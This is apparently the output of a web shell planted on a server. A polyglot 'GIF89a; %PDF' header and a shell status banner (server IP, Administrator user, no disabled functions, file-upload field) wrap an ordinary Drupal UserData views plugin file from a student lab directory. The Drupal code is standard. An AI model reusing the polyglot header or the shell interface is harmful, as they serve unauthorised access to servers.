GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.119 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/user/src/Plugin/views/field/ |
Upload File : |
<?php namespace Drupal\user\Plugin\views\field; use Drupal\Core\Extension\ModuleHandlerInterface; use Drupal\Core\Form\FormStateInterface; use Drupal\views\Plugin\views\field\FieldPluginBase; use Drupal\views\ResultRow; use Drupal\user\UserDataInterface; use Symfony\Component\DependencyInjection\ContainerInterface; /** * Provides access to the user data service. * * @ingroup views_field_handlers * * @see \Drupal\user\UserDataInterface * * @ViewsField("user_data") */ class UserData extends FieldPluginBase { /** * Provides the user data service object. * * @var \Drupal\user\UserDataInterface */ protected $userData; /** * The module handler. * * @var \Drupal\Core\Extension\ModuleHandlerInterface */ protected $moduleHandler; /** * {@inheritdoc} */ public static function create(ContainerInterface $container, array $configuration, $plugin_id, $plugin_definition) { return new static($configuration, $plugin_id, $plugin_definition, $container->get('user.data'), $container->get('module_handler')); } /** * Constructs a UserData object. */ public function __construct(array $configuration, $plugin_id, $plugin_definition, UserDataInterface $user_data, ModuleHandlerInterface $module_handler) { parent::__construct($configuration, $plugin_id, $plugin_definition); $this->userData = $user_data; $this->moduleHandler = $module_handler; } /** * {@inheritdoc} */ protected function defineOptions() { $options = parent::defineOptions(); $options['data_module'] = ['default' => '']; $options['data_name'] = ['default' => '']; return $options; } /** * {@inheritdoc} */ public function buildOptionsForm(&$form, FormStateInterface $form_state) { parent::buildOptionsForm($form, $form_state); $modules = $this->moduleHandler->getModuleList(); $names = []; foreach (array_keys($modules) as $name) { $names[$name] = $this->moduleHandler->getName($name); } $form['data_module'] = [ '#title' => $this->t('Module name'), '#type' => 'select', '#description' => $this->t('The module which sets this user data.'), '#default_value' => $this->options['data_module'], '#options' => $names, ]; $form['data_name'] = [ '#title' => $this->t('Name'), '#type' => 'textfield', '#description' => $this->t('The name of the data key.'), '#default_value' => $this->options['data_name'], ]; } /** * {@inheritdoc} */ public function render(ResultRow $values) { $uid = $this->getValue($values); $data = $this->userData->get($this->options['data_module'], $uid, $this->options['data_name']); // Don't sanitize if no value was found. if (isset($data)) { return $this->sanitizeValue($data); } } }